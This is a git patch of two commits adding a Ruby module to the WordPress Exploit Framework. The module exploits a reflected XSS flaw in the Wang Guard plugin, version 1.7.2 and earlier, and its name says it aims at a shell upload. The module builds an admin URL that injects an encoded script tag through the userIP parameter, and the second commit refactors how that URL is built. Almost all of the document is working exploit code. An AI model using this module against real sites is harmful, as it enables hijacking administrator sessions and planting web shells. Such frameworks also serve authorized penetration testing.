From a678f116868f76cc0ee287768c1463f55a8fa388 Mon Sep 17 00:00:00 2001 From: phyushin Date: Fri, 20 Jan 2017 18:55:42 +0000 Subject: [PATCH 1/2] Add "wang guard" reflected xss shell upload module --- .../wang_guard_reflected_xss_shell_upload.rb | 31 +++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 modules/exploits/wang_guard_reflected_xss_shell_upload.rb diff --git a/modules/exploits/wang_guard_reflected_xss_shell_upload.rb b/modules/exploits/wang_guard_reflected_xss_shell_upload.rb new file mode 100644 index 0000000..4c55eb1 --- /dev/null +++ b/modules/exploits/wang_guard_reflected_xss_shell_upload.rb @@ -0,0 +1,31 @@ +class Wpxf::Exploit::WangGuardReflectedXssShellUpload < Wpxf::Module + include Wpxf::WordPress::ReflectedXss + + def initialize + super + + update_info( + name: 'Wang Guard <= 1.7.2 Reflected XSS Shell Upload', + author: [ + 'Paul Williams ' # WPXF module + ], + references: [ + ['WPVDB', '8725'], + ['URL', 'https://www.pluginvulnerabilities.com/2017/01/17/reflected-cross-site-scripting-xss-vulnerability-in-wangguard/'] + ], + date: 'Jan 17 2017' + ) + end + + def check + check_plugin_version_from_readme('wangguard', '1.7.3') + end + + def vulnerable_url + normalize_uri(wordpress_url_admin, 'admin.php?page=wangguard_users_info&userIP=') + end + + def url_with_xss + "#{vulnerable_url}%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E%3C" + end +end From f9292b97390cd1ead483beec410e2b6a3d89703a Mon Sep 17 00:00:00 2001 From: phyushin Date: Sat, 21 Jan 2017 01:00:22 +0000 Subject: [PATCH 2/2] Move query string into url_with_xss function --- modules/exploits/wang_guard_reflected_xss_shell_upload.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/wang_guard_reflected_xss_shell_upload.rb b/modules/exploits/wang_guard_reflected_xss_shell_upload.rb index 4c55eb1..1d42fd1 100644 --- a/modules/exploits/wang_guard_reflected_xss_shell_upload.rb +++ b/modules/exploits/wang_guard_reflected_xss_shell_upload.rb @@ -22,10 +22,10 @@ def check end def vulnerable_url - normalize_uri(wordpress_url_admin, 'admin.php?page=wangguard_users_info&userIP=') + normalize_uri(wordpress_url_admin, 'admin.php') end def url_with_xss - "#{vulnerable_url}%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E%3C" + "#{vulnerable_url}?page=wangguard_users_info&userIP=%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E%3C" end end